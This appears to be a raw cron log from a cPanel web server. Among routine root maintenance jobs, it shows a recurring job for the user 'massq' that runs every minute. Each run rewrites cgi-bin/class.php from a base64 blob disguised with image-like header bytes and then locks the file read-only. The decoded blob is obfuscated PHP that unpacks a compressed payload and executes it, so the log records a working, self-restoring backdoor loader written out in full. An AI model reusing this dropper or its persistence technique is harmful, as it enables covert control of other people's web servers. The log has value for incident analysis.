Sep  5 15:23:01 server CROND[25115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:23:01 server CROND[25116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:24:01 server CROND[25586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:24:01 server CROND[25587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:24:01 server CROND[25588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:25:01 server CROND[25966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:25:01 server CROND[25970]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:25:01 server CROND[25968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:25:01 server CROND[25969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:25:01 server CROND[25967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:25:01 server CROND[25973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:25:01 server CROND[25971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:26:01 server CROND[26799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:26:01 server CROND[26800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:26:01 server CROND[26801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:27:01 server CROND[27177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:27:01 server CROND[27178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:27:01 server CROND[27179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:27:01 server CROND[27180]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:28:01 server CROND[27549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:28:01 server CROND[27550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:28:01 server CROND[27551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:29:01 server CROND[28017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:29:01 server CROND[28018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:29:01 server CROND[28019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:30:01 server CROND[28393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:30:01 server CROND[28395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:30:01 server CROND[28396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:30:01 server CROND[28398]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:30:01 server CROND[28400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:30:01 server CROND[28397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:30:01 server CROND[28399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:30:01 server CROND[28401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:31:01 server CROND[29240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:31:01 server CROND[29239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:31:01 server CROND[29241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:32:01 server CROND[29607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:32:01 server CROND[29608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:32:01 server CROND[29609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:33:01 server CROND[29983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:33:01 server CROND[29982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:33:01 server CROND[29984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:34:01 server CROND[30445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:34:01 server CROND[30446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:34:01 server CROND[30448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:35:01 server CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:35:01 server CROND[30838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:35:01 server CROND[30840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:35:01 server CROND[30844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
